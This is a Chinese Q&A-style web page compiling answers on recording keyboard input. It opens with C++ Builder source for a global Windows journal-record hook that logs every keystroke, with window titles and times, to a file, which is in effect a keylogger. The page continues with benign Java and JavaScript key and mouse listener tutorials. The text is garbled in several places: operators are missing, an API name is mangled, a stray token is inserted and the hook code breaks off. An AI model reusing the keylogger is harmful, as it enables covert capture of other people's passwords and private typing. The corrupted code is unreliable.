键盘记录代码Java 记录键盘输入
请问 VBS 或 java 上有哪些代码可以记录键盘的所有动作.并可以记录在一个文档上呢?
这个不大清楚,不过用c语言可以很容易的实现
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日志钩子代码如下,你慢慢品味吧:
//-----------.cpp文件
//---------------------------------------------------------------------------
#include vcl.h
#include stdio.h
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=Set视窗系统HookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
{
Unhook视窗系统HookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
int i;
HWND hFocus;//保存当前活动窗口句柄
char szTitle[256];//当前窗口名称
char szTime[128];//当前的日期和时间
FILE* stream=fopen("h:\\usr\\logfile.txt","a+");
if(pEvt-message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt-paramL);//取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str());
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShiftKeyPressMask)==KeyPressMask;
bool bCapital=(iCapital1)==1;
bool bNumLock=(iNumLock1)==1;
/*
if(vKey==9) //TAB
fprintf(stream,"%c",’\t’);
if(vKey==13) //回车键
fprintf(stream,"%c",’\n’);
*/
if(vKey=48 vKey=57) //数字键0-9
{
if(!bShift)
fprintf(stream,"%c",vKey);
else
{
switch(vKey)
{
case 49:
ch=’!’;
break;
case 50:
ch=’@’;
break;
case 51:
ch=’#’;
break;
case 52:
ch=’$’;
break;
case 53:
ch=’%’;
break;
case 54:
ch=’^’;
break;
case 55:
ch=’’;
break;
case 56:
ch=’*’;
break;
case 57:
ch=’(’;
break;
case 48:
ch=’)’;
break;
}
fprintf(stream,"%c",ch);
}
}
if(vKey=65 vKey=90) //A-Z a-z
{
if(!bCapital)
{
if(bShift)
ch=vKey;
else
ch=vKey+32;
}
else if(bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}
if(vKey=96 vKey=105) //小键盘0-9
{
if(bNumLock)
fprintf(stream,"%c",vKey-96+48);
}
if(vKey=186 vKey=222) //其他键
{
switch(vKey)
{
case 186:
if (!bShift) ch=’;’ ;
else ch=’:’ ;
break;
case 187:
if (!bShift) ch=’=’ ;
else ch=’+’ ;
break;
case 188:
if (!bShift) ch=’,’ ;
else ch=’’ ;
break;
case 189:
if (!bShift) ch=’-’ ;
else ch=’_’ ;
break;
case 190:
if (!bShift) ch=’.’ ;
else ch=’’ ;
break;
case 191:
if (!bShift) ch=’/’ ;
else ch=’?’ ;
break;
case 192:
if (!bShift) ch=’`’ ;
else ch=’~’ ;
break;
case 219:
if (!bShift) ch=’[’;
else ch=’{’ ;
break;
case 220:
if (!bShift) ch=’\\’ ;
else ch=’|’ ;
break;
case 221:
if (!bShift) ch=’]’;
else ch=’}’ ;
break;
case 222:
if (!bShift) ch=’\’’;
else ch=’\"’ ;
break;
default:
ch=’n’ ;
break;
}
if (ch!=’n’ ) fprintf(stream,"%c",ch);
} //
if (vKey=112 vKey=123) // 功能键 [F1]-[F12]
{
switch(wParam)
{
case 112:
fprintf(stream,"%s","[F1]");
break;
case 113:
fprintf(stream,"%s","[F2]");
break;
case 114:
fprintf(stream,"%s","[F3]");
break;
case 115:
fprintf(stream,"%s","[F4]");
break;
case 116:
fprintf(stream,"%s","[F5]");
break;
case 117:
fprintf(stream,"%s","[F6]");
break;
case 118:
fprintf(stream,"%s","[F7]");
break;
case 119:
fprintf(stream,"%s","[F8]");
break;
case 120:
fprintf(stream,"%s","[F9]");
break;
case 121:
fprintf(stream,"%s","[F10]");
break;
case 122:
fprintf(stream,"%s","[F11]");
break;
case 123:
fprintf(stream,"%s","[F12]");
break;
}
}
if (vKey=8 vKey=46) //方向键
{
switch (vKey)
{
case 8:
strcpy(str,"[BK]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[EN]");
break;
case 27:
strcpy(str,"[ESC]");
break;
case 32:
strcpy(str,"[SP]");
break;
case 33:
strcpy(str,"[PU]");
break;
case 34:
strcpy(str,"[PD]");
break;
case 35:
strcpy(str,"[END]");
break;
case 36:
strcpy(str,"[HOME]");
break;
case 37:
strcpy(str,"[LF]");
break;
case 38:
strcpy(str,"[UF]");
break;
case 39:
strcpy(str,"[RF]");
break;
case 40:
strcpy(str,"[DF]");
break;
case 45:
strcpy(str,"[INS]");
break;
case 46:
strcpy(str,"[DEL]");
break;
default:
ch=’n’;
break;
}
if (ch!=’n’ )
{
//if (g_PrvChar!=vKey)
//{
fprintf(stream,"%s",str);
// g_PrvChar=vKey;
/
java编程:编写一个文件信息存储程序,用户通过键盘输入学生的姓名,性别,班级,地址等信息,
//test.java
import java.io.*;
import java.util.*;
public class test {
public static void main (String[] args) {
try{
String strName="";
String strSex="";
int i=1;
//构造写入文件的File对象
File file2=new File("a.txt"); //创建一个a.txt文件
//构造低层输出流
FileWriter fw=new FileWriter(file2);
//构造高层输出流
BufferedWriter bw=new BufferedWriter(fw);
while(true){
System.out.println ("请输入第"+i+"学生姓名:");
Scanner sc = new Scanner(System.in);
strName = "姓名:"+sc.next();
System.out.println ("请输入性别:");
Scanner sc2 = new Scanner(System.in);
strSex = "性别"+sc2.next();
//写入文件
bw.write(strName+" "+strSex);
bw.newLine(); //换行
System.out.println ("是否结束程序:y/n");
Scanner sc3 = new Scanner(System.in);
String str = sc3.next();
if(str.equals("y"))break; //如果输入的是y则退出程序
i++;
}
//关闭流
bw.close();
fw.close();
}catch(IOException ex1){
System.out.println ("输入输出异常");
}
System.out.println ("程序结束");
}
}
本人刚入手java 可能写得不是很好.. 希望能给你带来帮助..
不足之处,敬请原谅!
用java做一个键盘记录器的疑问
这样的功能是用JavaScript中的event属性的KeyCode方法完成,利用onKeyDown事件进行驱动。
在JavaScript中,可以通过keyCode属性来得到用户所按键的ASSCII码值。具体对应关系可以查ASSCII码表。
例子:
示例1:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if(a==65)
{
alert("你按了a键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
另外,在快捷键的使用中,Alt、Ctrl、shift等辅助键也是经常用到的,可以通过altKey、ctrlKey、shiftKey这三个属性来判断Alt、Ctrl、shift键的状态
比如event.ctrlKey的值为真,就说明用户按下了Ctrl键。
例子:
示例2:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
if(event.ctrlKey)
{
alert("你按了Ctrl键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
可以组合起来,形成真正的快捷键,将执行语句换为你要的效果就可以了。
示例3:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if((a==65)(event.ctrlKey))
{
alert("你按了ctrl+a键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
document.onkeydown = hotkey 语句是在全页面中,当用户按下键时,调用hotkey函数,也许你希望在页面局部实现快捷键功能,那么,你可以仿照下面这样做(记得删除"document.onkeydown = hotkey"语句):
示例4:
--------------------------------------------------------------------------------
textarea rows="7" cols="90" name="message" onKeyDown="javascript: hotkey();" tabindex="2"/textarea
这样,只有当光标焦点在文本框中才能使用快捷键
以上是获得按那个键的方法在用流的方式写到.txt中就行了。
java中各种类型的键盘输入代码是什么
下面的是键盘和鼠标的各种事件,看一下是不是你要的!
鼠标监听器
鼠标监听器mouseListener监听鼠标事件MouseEvent。相应事件和处理方法如下表:
鼠标事件 处理方法
MOUSE_CLICKED MouseClicked (MouseEvent) 鼠标点击(单或双)
MOUSE_PRESSED MousePressed (MouseEvent) 鼠标按下
MOUSE_RELEASED MouseReleased(MouseEvent) 鼠标松开
MOUSE_ENTERED MouseEntered (MouseEvent) 鼠标进入(某组件区域)
MOUSE_EXITED MouseExited (MouseEvent) 鼠标离开(某组件区域)
鼠标事件MouseEvent常用方法
int getClickCount() 得到点击次数1 OR 2;
int getX(), int getY() 得到鼠标的(象素)位置。
对于鼠标的移动和拖放,另外用鼠标运动监听器mouseMotionListener。因为许多程序不需要监听鼠标运动,把两者分开可简化程序。有两个方法处理鼠标运动事件:
MOUSE_MOVED MouseMoved (MouseEvent) 鼠标在移动MOUSE_DRAGGED MouseDragged(MouseEvent) 鼠标被拖动
下面的例程演示简单的鼠标监听,并在屏幕上输出鼠标操作的信息。
例2
下面是讨论MouseMotionListener的使用时机,它提供的下面的两个方法,可让你随时掌握鼠标的坐标,并处理拖曳鼠标的操作。
MouseMotionListener mouseDragged(MouseEvent e)
mouseMoved(MouseEvent e)
-----------------------------------------------------------------------
下面的范例让你知道鼠标在JFrame上的坐标,并拖曳出直线来。
MouseDemo3.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/*为了达到画线的功能,我们分别implements MouseListener与MouseMotionListener.
*/
public class MouseDemo3 extends JFrame implements MouseListener,MouseMotionListener{
int flag;//flag=1代表Mouse Moved,flag=2代表Mouse Dragged
int x=0;
int y=0;
int startx,starty,endx,endy;//起始坐标与终点坐标
public MouseDemo3(){
Container contentPane=getContentPane();
contentPane.addMouseListener(this);
contentPane.addMouseMotionListener(this);
setSize(300,300);
show();
addWindowListener(
new WindowAdapter(){
public void windowClosing(WindowEvent e){
System.exit(0);
}
}
);
}
/*由mousePressed(),mouseReleased()取得示拖曳的开始与结束坐标*/
public void mousePressed(MouseEvent e){
startx=e.getX();
starty=e.getY();
}
public void mouseReleased(MouseEvent e){
endx=e.getX();
endy=e.getY();
}
public void mouseEntered(MouseEvent e){ }
public void mouseExited(MouseEvent e){ }
public void mouseClicked(MouseEvent e){ }
/*mouseMoved(),mouseDragged()取得鼠标移动的每一个坐标,并调用repaint()方法*/
public void mouseMoved(MouseEvent e){
flag=1;
x=e.getX();
y=e.getY();
repaint();
}
public void mouseDragged(MouseEvent e){
flag=2;
x=e.getX();
y=e.getY();
repaint();
}
public void update(Graphics g){
g.setColor(this.getBackground());
g.fillRect(0,0,getWidth(),getHeight());
paint(g);
}
public void paint(Graphics g){
g.setColor(Color.black);
if (flag==1){
g.drawString("鼠标坐标:("+x+","+y+";)",10,50);
g.drawLine(startx,starty,endx,endy);
}
if (flag==2){
g.drawString("拖曳鼠标价坐标:("+x+","+y+";)",10,50);
g.drawLine(startx,starty,x,y);
}
}
public static void main(String[] args){
new MouseDemo3();
}
}
例3
实现一个简单的鼠标控制程序MouseController。程序功能很简单:随机移动鼠标并点击左键。
代码如下:
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.InputEvent;
import java.util.Random;
/**
*
*/
/**
* @Create date 2007-11-6
*/
public class MouseController implements Runnable {
private Dimension dim;
private Random rand;
private Robot robot;
private volatile boolean stop = false;
public MouseController() {
dim = Toolkit.getDefaultToolkit().getScreenSize();
rand = new Random();
try {
robot = new Robot();
} catch (AWTException ex) {
ex.printStackTrace();
}
}
public void run() {
while(!stop) {
int x = rand.nextInt(dim.width);
int y = rand.nextInt(dim.height);
robot.mouseMove(x, y);
robot.mousePress(InputEvent.BUTTON1_MASK);
try {
Thread.sleep(2000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
}
public synchronized void stop() {
stop = true;
}
public static void main(String[] args) {
MouseController mc = new MouseController();
Thre
$False$
ad mcThread = new Thread(mc);
System.out.println("Mouse Controller start");
mcThread.start();
try {
Thread.sleep(60000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
mc.stop();
System.out.println("Mouse Controller stoped");
}
}
例4 本例程演示鼠标监听器,鼠标点击和运动的监听。
///
// MouseEvt.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
class MyPanel extends JPanel implements MouseMotionListener{
public MyPanel() {
addMouseListener(new MouseAdapter() {
publicvoid mouseClicked(MouseEvent evt) {
if (evt.getClickCount() = 2)
System.out.println("\n双击鼠标");
int x = evt.getX(); int y = evt.getY();
System.out.println("点击鼠标的位置\nX:" + x + "\ty: " + y);
}
});
addMouseMotionListener(this);
}
publicvoid mouseMoved(MouseEvent evt){
System.out.println("\n鼠标正在移动");
}
publicvoid mouseDragged(MouseEvent evt){
System.out.println("\n鼠标正在拖动");
}
}
class MyFrame extends JFrame{
public MyFrame(){
setTitle("鼠标事件示例程序");
setSize(300, 200);
addWindowListener(new WindowAdapter(){
publicvoid windowClosing(WindowEvent e){
System.exit(0);
}
} );
Container contentPane = getContentPane();
contentPane.add(new MyPanel());
}
}
publicclass MouseEvt{
publicstaticvoid main(String[] args){
JFrame frame = new MyFrame();
frame.setVisible(true);
}
}
///
简要说明
在MyPanel的构建器中添加了鼠标适配器来监听鼠标点击数和位置。也添加了运动监听器来处理移动和拖放操作。
鼠标双击事件
鼠标的单双击事件在很多时候对我们帮助很大,但是在JAVA中却没有给出鼠标双击事件.我们可以通过事件源e.getClickCount()==2来判断鼠标点击次数来实现鼠标双击事件,例如: public class MyMouseListener
extends java.awt.event.MouseAdapter ...{
public void mouseClicked(MouseEvent e) ...{
System.out.println("clicked");
int clickTimes = e.getClickCount();
if (clickTimes == 2) ...{
System.out.println("Doublc Clicked!");
}
}
}
但是这样并没有达到我们的要求,因为在每次触发双击事件的同时会触发单击事件.所以我们试图改进以上方案,不使用系统提供的e.getClickCount()方法.可以考虑当第一次单击鼠标的时候让鼠标单击事件延时0.2秒执行,而在这段时间里等待第二次单击,如果有第二次单击,那么我们执行双击事件任务,取消单击任务;如果在这段时间没有等到再次单击,那么执行单击任务.
下面是用定时器延时单击事件实现鼠标双击事件,单击和双击事件互不影响!
public class MyMouseListener
extends java.awt.event.MouseAdapter ...{
private static boolean flag=false;//用来判断是否已经执行双击事件
private static int clickNum=0;//用来判断是否该执行双击事件
public void mouseClicked(MouseEvent e) ...{
final MouseEvent me=e;//事件源
this.flag=false;//每次点击鼠标初始化双击事件执行标志为false
if (this.clickNum == 1) ...{//当clickNum==1时执行双击事件
this.mouseDoubleClicked(me);//执行双击事件
this.clickNum=0;//初始化双击事件执行标志为0
this.flag=true;//双击事件已执行,事件标志为true
return;
}
//定义定时器
java.util.Timer timer=new java.util.Timer();
//定时器开始执行,延时0.2秒后确定是否执行单击事件
timer.schedule(new java.util.TimerTask() ...{
private int n=0;//记录定时器执行次数
public void run() ...{
if(MyMouseListener.flag)...{//如果双击事件已经执行,那么直接取消单击执行
n=0;
MyMouseListener.clickNum=0;
this.cancel();
return;
}
if (n == 1) ...{//定时器等待0.2秒后,双击事件仍未发生,执行单击事件
mouseSingleClicked(me);//执行单击事件
MyMouseListener.flag = true;
MyMouseListener.clickNum=0;
n=0;
this.cancel();
return;
}
clickNum++;
n++;
}
},new java.util.Date(),500);
}
/** *//**
* 鼠标单击事件
* @param e 事件源参数
*/
public void mouseSingleClicked(MouseEvent e)...{
System.out.println("Single Clicked!");
}
/** *//**
* 鼠标双击事件
* @param e 事件源参数
*/
public void mouseDoubleClicked(MouseEvent e)...{
System.out.println("Doublc Clicked!");
}
}
//Test.java
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class Test extends JFrame{
public Test(){
super("test");
init();
this.setSize(800,600);
this.setVisible(true);
}
private void init(){
JButton b=new JButton("button");
b.setBounds(50,50,100,30);
this.getContentPane().setLayout(null);
this.getContentPane().add(b);
b.addMouseListener(new MyMouseListener());
}
public static void main(String args[]){
new Test();
}
}
键盘监听器
键盘监听器KeyListener用来监听键盘事件。键盘事件有三种:KEY_PRESSED键按下了,KEY_RELEASED键松开了,KEY_TYPED键按过了。每个键都有一个键码,普通键的键码就是ASCII码。键码可通过int getKeyCode()方法获得。Java设置了一种“虚拟键码”(Virtual Key Code),用“VK_”作为前缀,例如VK_G。下面是某些特殊键的虚拟键码。
键码 含义 键码 含义
VK_LEFT/VK_RIGHT 左右方向键 VK_CONTROL Ctrl键
VK_KP_UP 小键盘向上 VK_ATL Alt键
VK_PAUSE 暂停键 VK_SHIFT Shift键
VK_NUMBER0 小键盘数字0 VK_F1 功能键F1
VK_0 数字键0 VK_B 字母键B
虚拟键码对应的是键位,不区分大小写。要想知道大小写还必须查看修饰键(modifier key)。这由输入事件InputEvent的getModifere()方法得到,把返回值与常量SHIFT_MASK, CONTROL_MASK, ALT_MASK比较,用以判定哪个修饰键处于“同时按下”状态。
监听器KeyListener有三个方法keyPressed(KeyEvent evt),keyReleased(KeyEvent evt),keyTyped(KeyEvent evt),分别用于相应事件发生后的处理。下面的例程中给自己的键盘监听器建立了showKeyEventMsg方法来显示按键信息。
除了getKeyCode()方法得到键码外,还可用getKeyChar()方法得到输入的字符,用getKeyText(code)方法得到输入的字符串。用isShiftDown()判断shift键是否被按下等。当按下Control键时getKeyText返回的是“ctrl",Alt和Shift也类似。
下面的例子演示得到键码和字符的方法,在命令行上显示结果。
例1 本例程演示键盘监听器后键码的用法。
///
// KeyEvt.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
class MyKeyListener implements KeyListener{
publicvoid keyPressed(KeyEvent evt) {
System.out.println("\n按键被按下");
showKeyEventMsg(evt);
}
publicvoid keyReleased(KeyEvent evt){ }
publicvoid keyTyped(KeyEvent evt) { }
privatevoid showKeyEventMsg(KeyEvent evt){//显示按键事件信息
//得到按键对应的整型数
int code = evt.getKeyCode();
//返回按键事件所代表的字符
char c = evt.getKeyChar();
//得到代表按键的字符串
String szText = evt.getKeyText(code);
if (code != KeyEvent.VK_UNDEFINED)
System.out.println("\n按键对应的整型数:"+code);
if (c != KeyEvent.CHAR_UNDEFINED)
System.out.println("\n与按键相联系的字符:"+c);
if (evt.isShiftDown())
System.out.println("\n按键Shift被按下");
System.out.println("\n按键本身的字符串:"+szText);
}
}
class ButtonPanel extends JPanel{
public ButtonPanel() {
//新建一个文本域组件
tf = new JTextField(20);
add(tf);
//指定用来处理该按钮事件的监听器对象为JPanel本身
myListener = new MyKeyListener();
tf.addKeyListener(myListener);
}
private JTextField tf;
private MyKeyListener myListener;
}
class ButtonFrame extends JFrame{
public ButtonFrame() {
setTitle("键盘事件示例程序");
setSize(300, 200);
setLocation(100,100);
addWindowListener(new WindowAdapter() {
publicvoid windowClosing(WindowEvent e)
{ System.exit(0);
}
});
Container ctPane = getContentPane();
ctPane.add(new ButtonPanel());
}
}
publicclass KeyEvt{
publicstaticvoid main(String[] args) {
JFrame frame = new ButtonFrame();
frame.setVisible(true);
}
}
///简要说明
程序建立了自己的键盘监听器MyKeyListener,定义了一个新方法showKeyEventMsg用来在标准输出设备上显示有关的键盘信息。
在面版ButtonPanel上建立文本框并加键盘监听器。把面版ButtonPanel放到窗口ButtonFrame中。
网站标题:键盘记录代码Java 记录键盘输入
本文链接:http://ybzwz.com/article/doogsce.html